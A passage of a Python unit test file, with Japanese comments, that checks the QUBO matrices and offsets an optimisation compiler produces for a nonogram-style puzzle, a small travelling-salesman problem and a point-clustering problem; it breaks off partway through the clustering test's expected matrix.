316 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
317 | self.assertEqual(offset, 20)
318 |
319 | def test_drawings1(self):
320 | #量子ビットを用意する
321 | q00 = symbols('q00')
322 | q01 = symbols('q01')
323 | q02 = symbols('q02')
324 | q03 = symbols('q03')
325 | q04 = symbols('q04')
326 | q05 = symbols('q05')
327 | q06 = symbols('q06')
328 | q07 = symbols('q07')
329 | q08 = symbols('q08')
330 | q09 = symbols('q09')
331 | q10 = symbols('q10')
332 | q11 = symbols('q11')
333 | q12 = symbols('q12')
334 | q13 = symbols('q13')
335 | q14 = symbols('q14')
336 | q15 = symbols('q15')
337 | q16 = symbols('q16')
338 | q17 = symbols('q17')
339 | q18 = symbols('q18')
340 | q19 = symbols('q19')
341 | q20 = symbols('q20')
342 | q21 = symbols('q21')
343 | q22 = symbols('q22')
344 | q23 = symbols('q23')
345 | q24 = symbols('q24')
346 |
347 | #各行、個数の制約
348 | H = 0
349 | H += (q00 + q01 + q02 + q03 + q04 - 2)**2
350 | H += (q05 + q06 + q07 + q08 + q09 - 3)**2
351 | H += (q10 + q11 + q12 + q13 + q14 - 3)**2
352 | H += (q15 + q16 + q17 + q18 + q19 - 3)**2
353 | H += (q20 + q21 + q22 + q23 + q24 - 2)**2
354 |
355 | #各列、個数の制約
356 | H += (q00 + q05 + q10 + q15 + q20 - 3)**2
357 | H += (q01 + q06 + q11 + q16 + q21 - 2)**2
358 | H += (q02 + q07 + q12 + q17 + q22 - 5)**2
359 | H += (q03 + q08 + q13 + q18 + q23 - 2)**2
360 | H += (q04 + q09 + q14 + q19 + q24 - 1)**2
361 |
362 | #各行、連続の報酬
363 | H += -0.1 * (q00 * q01) -0.1 * (q01 * q02) -0.1 * (q02 * q03) -0.1 * (q03 * q04)
364 | H += -0.1 * (q05 * q06) -0.1 * (q06 * q07) -0.1 * (q07 * q08) -0.1 * (q08 * q09)
365 | H += -0.1 * (q10 * q11) -0.1 * (q11 * q12) -0.1 * (q12 * q13) -0.1 * (q13 * q14)
366 | H += -0.1 * (q15 * q16) -0.1 * (q16 * q17) -0.1 * (q17 * q18) -0.1 * (q18 * q19)
367 | #[1, 1]スプリットは後ほど設定
368 |
369 | #各列、連続の報酬
370 | H += -0.1 * (q00 * q05) -0.1 * (q05 * q10) -0.1 * (q10 * q15) -0.1 * (q15 * q20)
371 | H += -0.1 * (q01 * q06) -0.1 * (q06 * q11) -0.1 * (q11 * q16) -0.1 * (q16 * q21)
372 | H += -0.1 * (q02 * q07) -0.1 * (q07 * q12) -0.1 * (q12 * q17) -0.1 * (q17 * q22)
373 | H += -0.1 * (q03 * q08) -0.1 * (q08 * q13) -0.1 * (q13 * q18) -0.1 * (q18 * q23)
374 | #[1]の列は連続設定は不要
375 |
376 | #[1, 1]スプリット列のペナルティ
377 | H += 0.1 * (q20 * q21) + 0.1 * (q21 * q22) + 0.1 * (q22 * q23) + 0.1 * (q23 * q24)
378 |
379 |
380 | #コンパイル
381 | qubo, offset = Compile(H).get_qubo()
382 | expected_qubo_matrix = \
383 | [[-8.0, 1.9, 2.0, 2.0, 2.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0,\
384 | 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0],\
385 | [0.0, -6.0, 1.9, 2.0, 2.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0,\
386 | 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0],\
387 | [0.0, 0.0, -12.0, 1.9, 2.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0,\
388 | 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0],\
389 | [0.0, 0.0, 0.0, -6.0, 1.9, 0.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0,\
390 | 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0],\
391 | [0.0, 0.0, 0.0, 0.0, -4.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0,\
392 | 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
393 | [0.0, 0.0, 0.0, 0.0, 0.0, -10.0, 1.9, 2.0, 2.0, 2.0, 1.9, 0.0, 0.0, 0.0,\
394 | 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0],\
395 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 2.0, 2.0, 0.0, 1.9, 0.0, 0.0,\
396 | 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0],\
397 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -14.0, 1.9, 2.0, 0.0, 0.0, 1.9, 0.0,\
398 | 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0],\
399 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 0.0, 0.0, 0.0, 1.9,\
400 | 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0],\
401 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 0.0, 0.0, 0.0, 0.0,\
402 | 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
403 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -10.0, 1.9, 2.0, 2.0,\
404 | 2.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0],\
405 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 2.0,\
406 | 2.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0],\
407 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -14.0, 1.9,\
408 | 2.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0],\
409 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0,\
410 | 1.9, 0.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0],\
411 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
412 | -6.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
413 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
414 | 0.0, -10.0, 1.9, 2.0, 2.0, 2.0, 1.9, 0.0, 0.0, 0.0, 0.0],\
415 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
416 | 0.0, 0.0, -8.0, 1.9, 2.0, 2.0, 0.0, 1.9, 0.0, 0.0, 0.0],\
417 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
418 | 0.0, 0.0, 0.0, -14.0, 1.9, 2.0, 0.0, 0.0, 1.9, 0.0, 0.0],\
419 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
420 | 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 0.0, 0.0, 0.0, 1.9, 0.0],\
421 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
422 | 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
423 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
424 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 2.1, 2.0, 2.0, 2.0],\
425 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
426 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 2.1, 2.0, 2.0],\
427 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
428 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -12.0, 2.1, 2.0],\
429 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
430 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 2.1],\
431 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
432 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4.0]]
433 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
434 | self.assertEqual(offset, 78)
435 |
436 | def test_drawings2(self):
437 | #量子ビットを用意する
438 | q = symbols_list([5, 5], 'q{}_{}')
439 |
440 | #各行、個数の制約
441 | H = 0
442 | H += (q[0][0] + q[0][1] + q[0][2] + q[0][3] + q[0][4] - 2)**2
443 | H += (q[1][0] + q[1][1] + q[1][2] + q[1][3] + q[1][4] - 3)**2
444 | H += (q[2][0] + q[2][1] + q[2][2] + q[2][3] + q[2][4] - 3)**2
445 | H += (q[3][0] + q[3][1] + q[3][2] + q[3][3] + q[3][4] - 3)**2
446 | H += (q[4][0] + q[4][1] + q[4][2] + q[4][3] + q[4][4] - 2)**2
447 |
448 | #各列、個数の制約
449 | H += (q[0][0] + q[1][0] + q[2][0] + q[3][0] + q[4][0] - 3)**2
450 | H += (q[0][1] + q[1][1] + q[2][1] + q[3][1] + q[4][1] - 2)**2
451 | H += (q[0][2] + q[1][2] + q[2][2] + q[3][2] + q[4][2] - 5)**2
452 | H += (q[0][3] + q[1][3] + q[2][3] + q[3][3] + q[4][3] - 2)**2
453 | H += (q[0][4] + q[1][4] + q[2][4] + q[3][4] + q[4][4] - 1)**2
454 |
455 | #各行、連続の報酬
456 | H += -0.1 * (q[0][0] * q[0][1]) -0.1 * (q[0][1] * q[0][2]) -0.1 * (q[0][2] * q[0][3]) -0.1 * (q[0][3] * q[0][4])
457 | H += -0.1 * (q[1][0] * q[1][1]) -0.1 * (q[1][1] * q[1][2]) -0.1 * (q[1][2] * q[1][3]) -0.1 * (q[1][3] * q[1][4])
458 | H += -0.1 * (q[2][0] * q[2][1]) -0.1 * (q[2][1] * q[2][2]) -0.1 * (q[2][2] * q[2][3]) -0.1 * (q[2][3] * q[2][4])
459 | H += -0.1 * (q[3][0] * q[3][1]) -0.1 * (q[3][1] * q[3][2]) -0.1 * (q[3][2] * q[3][3]) -0.1 * (q[3][3] * q[3][4])
460 | #[1, 1]スプリットは後ほど設定
461 |
462 | #各列、連続の報酬
463 | H += -0.1 * (q[0][0] * q[1][0]) -0.1 * (q[1][0] * q[2][0]) -0.1 * (q[2][0] * q[3][0]) -0.1 * (q[3][0] * q[4][0])
464 | H += -0.1 * (q[0][1] * q[1][1]) -0.1 * (q[1][1] * q[2][1]) -0.1 * (q[2][1] * q[3][1]) -0.1 * (q[3][1] * q[4][1])
465 | H += -0.1 * (q[0][2] * q[1][2]) -0.1 * (q[1][2] * q[2][2]) -0.1 * (q[2][2] * q[3][2]) -0.1 * (q[3][2] * q[4][2])
466 | H += -0.1 * (q[0][3] * q[1][3]) -0.1 * (q[1][3] * q[2][3]) -0.1 * (q[2][3] * q[3][3]) -0.1 * (q[3][3] * q[4][3])
467 | #[1]の列は連続設定は不要
468 |
469 | #[1, 1]スプリット列のペナルティ
470 | H += 0.1 * (q[4][0] * q[4][1]) + 0.1 * (q[4][1] * q[4][2]) + 0.1 * (q[4][2] * q[4][3]) + 0.1 * (q[4][3] * q[4][4])
471 |
472 |
473 | #コンパイル
474 | qubo, offset = Compile(H).get_qubo()
475 | expected_qubo_matrix = \
476 | [[-8.0, 1.9, 2.0, 2.0, 2.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0,\
477 | 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0],\
478 | [0.0, -6.0, 1.9, 2.0, 2.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0,\
479 | 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0],\
480 | [0.0, 0.0, -12.0, 1.9, 2.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0,\
481 | 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0],\
482 | [0.0, 0.0, 0.0, -6.0, 1.9, 0.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0,\
483 | 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0],\
484 | [0.0, 0.0, 0.0, 0.0, -4.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0,\
485 | 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
486 | [0.0, 0.0, 0.0, 0.0, 0.0, -10.0, 1.9, 2.0, 2.0, 2.0, 1.9, 0.0, 0.0, 0.0,\
487 | 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0],\
488 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 2.0, 2.0, 0.0, 1.9, 0.0, 0.0,\
489 | 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0],\
490 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -14.0, 1.9, 2.0, 0.0, 0.0, 1.9, 0.0,\
491 | 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0],\
492 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 0.0, 0.0, 0.0, 1.9,\
493 | 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0],\
494 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 0.0, 0.0, 0.0, 0.0,\
495 | 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
496 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -10.0, 1.9, 2.0, 2.0,\
497 | 2.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0],\
498 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 2.0,\
499 | 2.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0],\
500 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -14.0, 1.9,\
501 | 2.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0],\
502 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0,\
503 | 1.9, 0.0, 0.0, 0.0, 1.9, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0],\
504 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
505 | -6.0, 0.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
506 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
507 | 0.0, -10.0, 1.9, 2.0, 2.0, 2.0, 1.9, 0.0, 0.0, 0.0, 0.0],\
508 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
509 | 0.0, 0.0, -8.0, 1.9, 2.0, 2.0, 0.0, 1.9, 0.0, 0.0, 0.0],\
510 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
511 | 0.0, 0.0, 0.0, -14.0, 1.9, 2.0, 0.0, 0.0, 1.9, 0.0, 0.0],\
512 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
513 | 0.0, 0.0, 0.0, 0.0, -8.0, 1.9, 0.0, 0.0, 0.0, 1.9, 0.0],\
514 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
515 | 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 0.0, 0.0, 0.0, 0.0, 2.0],\
516 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
517 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8.0, 2.1, 2.0, 2.0, 2.0],\
518 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
519 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 2.1, 2.0, 2.0],\
520 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
521 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -12.0, 2.1, 2.0],\
522 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
523 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -6.0, 2.1],\
524 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
525 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4.0]]
526 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
527 | self.assertEqual(offset, 78)
528 |
529 | def test_tsp(self):
530 | #量子ビットを用意する
531 | q00 = symbols('q00')
532 | q01 = symbols('q01')
533 | q02 = symbols('q02')
534 | q03 = symbols('q03')
535 | q04 = symbols('q04')
536 | q05 = symbols('q05')
537 | q06 = symbols('q06')
538 | q07 = symbols('q07')
539 | q08 = symbols('q08')
540 | q09 = symbols('q09')
541 | q10 = symbols('q10')
542 | q11 = symbols('q11')
543 | q12 = symbols('q12')
544 | q13 = symbols('q13')
545 | q14 = symbols('q14')
546 | q15 = symbols('q15')
547 |
548 | #1番目に訪れる都市は1つだけにしたい
549 | H = 0
550 | H += (q00 + q01 + q02 + q03 - 1)**2
551 | H += (q04 + q05 + q06 + q07 - 1)**2
552 | H += (q08 + q09 + q10 + q11 - 1)**2
553 | H += (q12 + q13 + q14 + q15 - 1)**2
554 |
555 | #都市Aに訪れる順番は1つだけにしたい
556 | H += (q00 + q04 + q08 + q12 - 1)**2
557 | H += (q01 + q05 + q09 + q13 - 1)**2
558 | H += (q02 + q06 + q10 + q14 - 1)**2
559 | H += (q03 + q07 + q11 + q15 - 1)**2
560 |
561 | #都市間の距離に比例したペナルティ
562 | #1番目から2番目への移動について
563 | H += 0.0 * (q00 * q04) #距離0なので
564 | H += 0.3 * (q01 * q04) #距離3なので
565 | H += 0.2 * (q02 * q04) #距離2なので
566 | H += 0.6 * (q03 * q04) #距離6なので
567 |
568 | H += 0.3 * (q00 * q05)
569 | H += 0.0 * (q01 * q05)
570 | H += 0.1 * (q02 * q05)
571 | H += 0.2 * (q03 * q05)
572 |
573 | H += 0.2 * (q00 * q06)
574 | H += 0.1 * (q01 * q06)
575 | H += 0.0 * (q02 * q06)
576 | H += 0.3 * (q03 * q06)
577 |
578 | H += 0.6 * (q00 * q07)
579 | H += 0.2 * (q01 * q07)
580 | H += 0.3 * (q02 * q07)
581 | H += 0.0 * (q03 * q07)
582 |
583 | #2番目から3番目への移動について
584 | H += 0.0 * (q04 * q08)
585 | H += 0.3 * (q05 * q08)
586 | H += 0.2 * (q06 * q08)
587 | H += 0.6 * (q07 * q08)
588 |
589 | H += 0.3 * (q04 * q09)
590 | H += 0.0 * (q05 * q09)
591 | H += 0.1 * (q06 * q09)
592 | H += 0.2 * (q07 * q09)
593 |
594 | H += 0.2 * (q04 * q10)
595 | H += 0.1 * (q05 * q10)
596 | H += 0.0 * (q06 * q10)
597 | H += 0.3 * (q07 * q10)
598 |
599 | H += 0.6 * (q04 * q11)
600 | H += 0.2 * (q05 * q11)
601 | H += 0.3 * (q06 * q11)
602 | H += 0.0 * (q07 * q11)
603 |
604 | #3番目から4番目への移動について
605 | H += 0.0 * (q08 * q12)
606 | H += 0.3 * (q09 * q12)
607 | H += 0.2 * (q10 * q12)
608 | H += 0.6 * (q11 * q12)
609 |
610 | H += 0.3 * (q08 * q13)
611 | H += 0.0 * (q09 * q13)
612 | H += 0.1 * (q10 * q13)
613 | H += 0.2 * (q11 * q13)
614 |
615 | H += 0.2 * (q08 * q14)
616 | H += 0.1 * (q09 * q14)
617 | H += 0.0 * (q10 * q14)
618 | H += 0.3 * (q11 * q14)
619 |
620 | H += 0.6 * (q08 * q15)
621 | H += 0.2 * (q09 * q15)
622 | H += 0.3 * (q10 * q15)
623 | H += 0.0 * (q11 * q15)
624 |
625 |
626 | #コンパイル
627 | qubo, offset = Compile(H).get_qubo()
628 | expected_qubo_matrix = \
629 | [[-2.0, 2.0, 2.0, 2.0, 2.0, 0.3, 0.2, 0.6, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0,\
630 | 0.0, 0.0],\
631 | [0.0, -2.0, 2.0, 2.0, 0.3, 2.0, 0.1, 0.2, 0.0, 2.0, 0.0, 0.0, 0.0, 2.0,\
632 | 0.0, 0.0],\
633 | [0.0, 0.0, -2.0, 2.0, 0.2, 0.1, 2.0, 0.3, 0.0, 0.0, 2.0, 0.0, 0.0, 0.0,\
634 | 2.0, 0.0],\
635 | [0.0, 0.0, 0.0, -2.0, 0.6, 0.2, 0.3, 2.0, 0.0, 0.0, 0.0, 2.0, 0.0, 0.0,\
636 | 0.0, 2.0],\
637 | [0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 2.0, 2.0, 2.0, 0.3, 0.2, 0.6, 2.0, 0.0,\
638 | 0.0, 0.0],\
639 | [0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 2.0, 0.3, 2.0, 0.1, 0.2, 0.0, 2.0,\
640 | 0.0, 0.0],\
641 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 0.2, 0.1, 2.0, 0.3, 0.0, 0.0,\
642 | 2.0, 0.0],\
643 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 0.6, 0.2, 0.3, 2.0, 0.0, 0.0,\
644 | 0.0, 2.0],\
645 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 2.0, 2.0, 2.0, 0.3,\
646 | 0.2, 0.6],\
647 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 2.0, 0.3, 2.0,\
648 | 0.1, 0.2],\
649 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0, 0.2, 0.1,\
650 | 2.0, 0.3],\
651 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 0.6, 0.2,\
652 | 0.3, 2.0],\
653 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0, 2.0,\
654 | 2.0, 2.0],\
655 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.0,\
656 | 2.0, 2.0],\
657 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
658 | -2.0, 2.0],\
659 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
660 | 0.0, -2.0]]
661 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
662 | self.assertEqual(offset, 8)
663 |
664 | def test_clustering(self):
665 | #データ
666 | x = np.array([0.45, 0.80, 0.71, 0.49, 0.79, 0.30, 0.44, 0.14, 0.30, 0.40])
667 | y = np.array([0.14, 0.14, 0.17, 0.25, 0.32, 0.63, 0.68, 0.74, 0.77, 0.84])
668 |
669 | #量子ビットを用意する、例:q0_1は点0のクラス1担当
670 | q0_1, q0_2, q0_3 = symbols('q0_1 q0_2 q0_3')
671 | q1_1, q1_2, q1_3 = symbols('q1_1 q1_2 q1_3')
672 | q2_1, q2_2, q2_3 = symbols('q2_1 q2_2 q2_3')
673 | q3_1, q3_2, q3_3 = symbols('q3_1 q3_2 q3_3')
674 | q4_1, q4_2, q4_3 = symbols('q4_1 q4_2 q4_3')
675 | q5_1, q5_2, q5_3 = symbols('q5_1 q5_2 q5_3')
676 | q6_1, q6_2, q6_3 = symbols('q6_1 q6_2 q6_3')
677 | q7_1, q7_2, q7_3 = symbols('q7_1 q7_2 q7_3')
678 | q8_1, q8_2, q8_3 = symbols('q8_1 q8_2 q8_3')
679 | q9_1, q9_2, q9_3 = symbols('q9_1 q9_2 q9_3')
680 |
681 | #制約条件:各点ともワンホットで一つだけ1になる
682 | H = 0
683 | H += (q0_1 + q0_2 + q0_3 - 1)**2
684 | H += (q1_1 + q1_2 + q1_3 - 1)**2
685 | H += (q2_1 + q2_2 + q2_3 - 1)**2
686 | H += (q3_1 + q3_2 + q3_3 - 1)**2
687 | H += (q4_1 + q4_2 + q4_3 - 1)**2
688 | H += (q5_1 + q5_2 + q5_3 - 1)**2
689 | H += (q6_1 + q6_2 + q6_3 - 1)**2
690 | H += (q7_1 + q7_2 + q7_3 - 1)**2
691 | H += (q8_1 + q8_2 + q8_3 - 1)**2
692 | H += (q9_1 + q9_2 + q9_3 - 1)**2
693 |
694 | #コスト:2点の組み合わせで
695 | for i in range(9):
696 | for j in range(i+1, 10):
697 | #2点の距離
698 | dist = ((x[i] - x[j])**2 + (y[i] - y[j])**2)**0.5
699 |
700 | #同時にクラス1に入った場合のペナルティ
701 | text = f'H += 0.1 * {dist} * (q{i}_1 * q{j}_1)'
702 | exec(text)
703 |
704 | #同時にクラス2に入った場合のペナルティ
705 | text = f'H += 0.1 * {dist} * (q{i}_2 * q{j}_2)'
706 | exec(text)
707 |
708 | #同時にクラス3に入った場合のペナルティ
709 | text = f'H += 0.1 * {dist} * (q{i}_3 * q{j}_3)'
710 | exec(text)
711 |
712 | #コンパイル
713 | qubo, offset = Compile(H).get_qubo()
714 | expected_qubo_matrix = \
715 | [[-1.0, 2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
716 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
717 | 0.0, 0.0],\
718 | [0.0, -1.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
719 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
720 | 0.0, 0.0],\
721 | [0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
722 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
723 | 0.0, 0.0],\
